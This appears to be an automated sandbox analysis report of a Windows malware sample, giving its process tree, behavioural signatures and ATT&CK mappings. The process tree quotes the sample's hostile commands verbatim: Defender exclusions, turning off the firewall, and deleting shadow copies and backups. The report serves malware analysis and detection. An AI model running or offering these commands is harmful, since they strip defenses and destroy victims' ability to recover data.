Analysis
- max time kernel
150s - max time network
128s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/07/2026, 00:34
General
- Target 2026-07-28_ae2102521c9ee919a914bdcf93caa94a_icedid_luca-stealer_njrat_stealc.exe
- Size 17.8MB
- Sample260729-aw1pcsstd1
- SHA256 7e74a48ebaf713b7ecc828938a114bf32a9d3383aa51df88434b5a04a7f7915f
Malware Config
Signatures
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- UAC bypass 3 TTPs 1 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Deletes system backups 3 TTPs 2 IoCs
Uses wbadmin.exe to inhibit system recovery.
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Drops file in System32 directory 2 IoCs
- Drops file in Windows directory 10 IoCs
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Suspicious behavior: EnumeratesProcesses 60 IoCs
- Suspicious use of AdjustPrivilegeToken 48 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
- System policy modification 1 TTPs 1 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-28_ae2102521c9ee919a914bdcf93caa94a_icedid_luca-stealer_njrat_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-28_ae2102521c9ee919a914bdcf93caa94a_icedid_luca-stealer_njrat_stealc.exe"1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="svchost" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-07-28_ae2102521c9ee919a914bdcf93caa94a_icedid_luca-stealer_njrat_stealc.exe" enable=yes2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c reagentc /disable3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\ReAgentc.exereagentc /disable4⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wbadmin.exewbadmin delete backup -backupTarget:C: -allVersions -quiet4⤵
- Deletes system backups
- Drops file in Windows directory
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wbadmin.exewbadmin delete backup -backupTarget:D: -allVersions -quiet4⤵
- Deletes system backups
- Drops file in Windows directory
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Windows Command Shell
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ovbuj4kg.3e4.ps1
memory/3188-10-0x0000025DF12A0000-0x0000025DF1352000-memory.dmp
memory/3188-5-0x0000025DF10B0000-0x0000025DF10D2000-memory.dmp
memory/3188-6-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
memory/3188-9-0x0000025DF1280000-0x0000025DF129E000-memory.dmp
memory/3188-0-0x00007FFE2A8EF000-0x00007FFE2A8F0000-memory.dmp
memory/3188-11-0x0000025DF1360000-0x0000025DF136A000-memory.dmp
memory/3188-12-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
memory/3188-13-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
memory/3188-14-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
memory/3188-16-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
memory/3188-2-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
memory/3188-1-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
memory/3188-25-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp